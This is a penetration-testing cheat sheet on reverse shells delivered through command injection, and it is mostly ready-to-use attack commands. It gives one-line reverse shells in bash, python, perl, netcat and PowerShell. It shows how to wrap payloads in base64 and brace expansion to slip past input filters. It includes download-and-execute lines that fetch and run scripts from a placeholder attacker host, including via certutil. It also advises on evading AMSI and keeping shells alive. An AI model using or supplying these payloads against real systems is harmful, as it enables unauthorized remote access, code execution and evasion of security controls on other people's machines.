Reverse shells
Spawn a listener locally, send a single-line payload through the injection point that calls back to it. Base64-wrap the payload to survive filters and URL transit.
# Listenernc -lvnp <LPORT>
# Linux payload (bash TCP);bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
# Linux payload (base64-wrapped, filter-resistant);bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88TEhPU1Q+LzxMUE9SVD4gMD4mMQ==}|{base64,-d}|{bash,-i}'
# Windows payload (PowerShell TCP);powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<LHOST>',<LPORT>);..."Success indicator: connection inbound on your listener, prompt arrives.
Listener setup
Section titled “Listener setup”Pick one. Stick with it for the engagement.
nc -lvnp 4444 # universal, no TTY featuresncat -lvnp 4444 # nmap's nc, slightly nicerncat --ssl -lvnp 4444 # TLS listener (for ssl-capable callbacks)rlwrap nc -lvnp 4444 # readline support - arrows, historypwncat-cs -lp 4444 # auto TTY upgrade, file transferpwncat-cs is worth the install - it handles TTY upgrade, port forwarding, and file transfer automatically. rlwrap nc is the minimum civilized option.
Linux reverse shells
Section titled “Linux reverse shells”bash TCP (most common)
Section titled “bash TCP (most common)”;bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'Works on most distros. /dev/tcp is a bash feature, not a real device - fails if the shell is dash or busybox.
bash with explicit redirect (clearer intent)
Section titled “bash with explicit redirect (clearer intent)”;bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1Same effect, no bash -c wrapper. Use when the injection point already runs through bash and you want fewer quote escapes.
Filter-resistant brace-expansion variant
Section titled “Filter-resistant brace-expansion variant”;{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88TEhPU1Q+LzxMUE9SVD4gMD4mMQ==}|{base64,-d}|{bash,-i}The {a,b} brace expansion injects spaces without using the space character - defeats space filters. Encode bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 with
<LHOST>
and
<LPORT>
substituted before encoding:
echo -n 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' | base64 -w0python (when bash is unavailable)
Section titled “python (when bash is unavailable)”;python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'Uses pty.spawn - the resulting shell already has partial TTY features, less work after callback.
nc with -e (rare; modern nc strips this)
Section titled “nc with -e (rare; modern nc strips this)”;nc -e /bin/sh <LHOST> <LPORT>Most distro builds of nc lack -e for security. Test once; if it fails, don’t waste another request.
nc without -e (mkfifo trick)
Section titled “nc without -e (mkfifo trick)”;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/fWorks when nc is -e-stripped. Leaves /tmp/f behind - clean it up.
perl (always installed on real Linux)
Section titled “perl (always installed on real Linux)”;perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PowerShell reverse shell (single line)
Section titled “PowerShell reverse shell (single line)”;powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<LHOST>',<LPORT>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"The -nop -w hidden flags skip profile loading and hide the window. Substitute
<LHOST>
and
<LPORT>
literally - these are PowerShell strings, no encoding needed.
Encoded PowerShell (filter bypass)
Section titled “Encoded PowerShell (filter bypass)”When powershell or shell metacharacters are filtered, encode the entire payload:
# On your local machine, generate the encoded commandecho -n '$c=New-Object Net.Sockets.TCPClient(...)' | iconv -t UTF-16LE | base64 -w0;powershell -nop -w hidden -enc <BASE64-UTF16LE>-enc (alias for -EncodedCommand) accepts UTF-16LE base64. The iconv -t UTF-16LE | base64 chain is how to produce it from Linux.
Nishang Invoke-PowerShellTcp (download-and-run)
Section titled “Nishang Invoke-PowerShellTcp (download-and-run)”;powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>"You host Nishang’s Invoke-PowerShellTcp.ps1 (append Invoke-PowerShellTcp -Reverse -IPAddress ... -Port ... at the bottom of the file, or use the -c form above) on
<ATTACKER>
(python3 -m http.server 80).
certutil drop-and-execute (cmd.exe, no PowerShell)
Section titled “certutil drop-and-execute (cmd.exe, no PowerShell)”&certutil -urlcache -split -f http://<ATTACKER>/nc.exe %TEMP%\nc.exe&%TEMP%\nc.exe -e cmd.exe <LHOST> <LPORT>Uses signed Microsoft binaries (certutil). nc.exe from int0x33’s nc.exe or build static.
ConPtyShell (full TTY on Windows)
Section titled “ConPtyShell (full TTY on Windows)”;IEX(IWR -UseBasicParsing http://<ATTACKER>/Invoke-ConPtyShell.ps1);Invoke-ConPtyShell <LHOST> <LPORT>antonioCoco/ConPtyShell. Listener side: stty raw -echo; nc -lvnp <LPORT>. Result is a real PTY - tab completion, arrows, vim work.
Wrapping payloads for cmdi delivery
Section titled “Wrapping payloads for cmdi delivery”The injection point typically can’t take a multi-line script and frequently filters spaces, slashes, or quotes. Three patterns get you around this.
Pattern 1 - base64 + shell wrapper
Section titled “Pattern 1 - base64 + shell wrapper”Encode the entire payload, decode at runtime:
# Step 1: encodeecho -n 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' | base64 -w0# Output: YmFzaCAtaSA+Ji...
# Step 2: deliver;bash -c "$(echo YmFzaCAtaSA+Ji... | base64 -d)"# Or with bash herestring (no pipe character):;bash<<<$(base64 -d<<<YmFzaCAtaSA+Ji...)The herestring form avoids |, useful when pipe is filtered.
# Step 1: encode (UTF-16LE for -EncodedCommand)echo -n '$c=New-Object Net.Sockets.TCPClient...' | iconv -t UTF-16LE | base64 -w0
# Step 2: deliver;powershell -nop -w hidden -enc <BASE64>Pattern 2 - download-and-execute
Section titled “Pattern 2 - download-and-execute”When the payload is too long for the field:
;curl <ATTACKER>/r.sh|bash;wget -qO- <ATTACKER>/r.sh|bash;curl -s <ATTACKER>/r.sh|sh # if bash is filteredHost r.sh containing the actual payload via python3 -m http.server 80.
;iex(iwr -UseBasicParsing <ATTACKER>/r.ps1);IEX(New-Object Net.WebClient).DownloadString('<ATTACKER>/r.ps1')Pattern 3 - write file, execute file
Section titled “Pattern 3 - write file, execute file”When outbound is blocked but you can write to disk:
;echo 'YmFzaCAtaSA+Ji...' | base64 -d > /tmp/.r;chmod +x /tmp/.r;/tmp/.r;[IO.File]::WriteAllText('C:\Windows\Temp\r.ps1','<payload>');powershell -ep bypass C:\Windows\Temp\r.ps1TTY upgrade after callback
Section titled “TTY upgrade after callback”nc callbacks are dumb shells. Upgrade them so Ctrl+C doesn’t kill the session and tab completion works.
Inside the dumb shell:
python3 -c 'import pty;pty.spawn("/bin/bash")' # spawn a PTY# then: Ctrl+Z to background ncOn your local machine:
stty raw -echo; fg # raw mode, foreground nc# press Enter twiceexport TERM=xterm-256colorstty rows <N> cols <M> # match your terminalGet rows/cols by running stty size in a fresh local terminal first.
Modern alternative - pwncat-cs does all of this automatically:
pwncat-cs -lp <LPORT>PowerShell callbacks have no PTY by default. For a real PTY on Windows, use ConPtyShell (see above). Otherwise, accept the limitations:
- No
Ctrl+C(it kills the session). Use long-running commands carefully. - No tab completion in the remote shell.
- Some interactive tools (
vim,nano, fullpowershell_ise) won’t work.
Common failure modes
Section titled “Common failure modes”- Listener doesn’t receive connection. Check the firewall on your end first (
sudo ufw allow <LPORT>or equivalent). Then check the target can route outbound: send acurl <ATTACKER>probe before the shell payload to verify outbound 80/443 works. /dev/tcpdoesn’t exist. Target shell is dash, busybox, or restricted. Fall back to python, perl, or download-and-run a static nc.- Shell connects then dies. PHP’s
system()waits for the child; the page request times out and the worker is killed, taking your shell with it. Detach the child:;bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' &(note the trailing&) or;nohup bash -c '...' &. - PowerShell payload blocked by AMSI. Modern Windows scans PowerShell strings before execution. Encoded commands sometimes bypass simple AMSI; sophisticated EDR catches them anyway. Move to a binary loader (msfvenom-generated
.exedelivered viacertutil) or useInvoke-Obfuscationon the script. - Reverse shell connects but no prompt. PHP/Node sometimes captures stdout and never returns it. The shell is alive on the listener; type a command and press Enter to see if it responds. If not, the back-end is buffering - try
python3 -c 'import pty;pty.spawn("/bin/bash")'blindly. - Quotes mangled by URL encoding. Single and double quotes in the payload survive URL transit but break inside nested shells. Use
\u0027substitution, base64-wrap the whole thing, or stage with download-and-run.
The cmdi-specific problem is delivery, not catalog. Once the callback lands, you have a regular shell - every post-exploitation technique applies, every shell upgrade trick works, and platform-specific payload variants (the dozens of bash/python/perl/php/ruby variants) are not unique to command injection. Pick one delivery payload, get the callback, then operate normally.